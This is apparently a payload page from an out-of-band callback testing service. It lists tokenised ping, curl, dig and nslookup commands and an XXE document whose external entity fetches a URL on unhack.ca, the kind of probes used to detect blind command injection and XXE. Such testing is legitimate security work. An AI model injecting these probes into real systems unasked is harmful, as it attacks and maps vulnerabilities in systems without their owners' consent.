$ ping -c1 -p 005bd865a099829d8a329901f9c66a00 unhack.ca
 

$ curl http://unhack.ca/p/5bd865a099829d8a329901f9c66a
 

$ dig 5bd865a099829d8a329901f9c66a @unhack.ca
 

$ dig 5bd865a099829d8a329901f9c66a.ns.unhack.ca
 

C:\> nslookup 5bd865a099829d8a329901f9c66a unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/5bd865a099829d8a329901f9c66a">]>
    <foo>&xxe;</foo>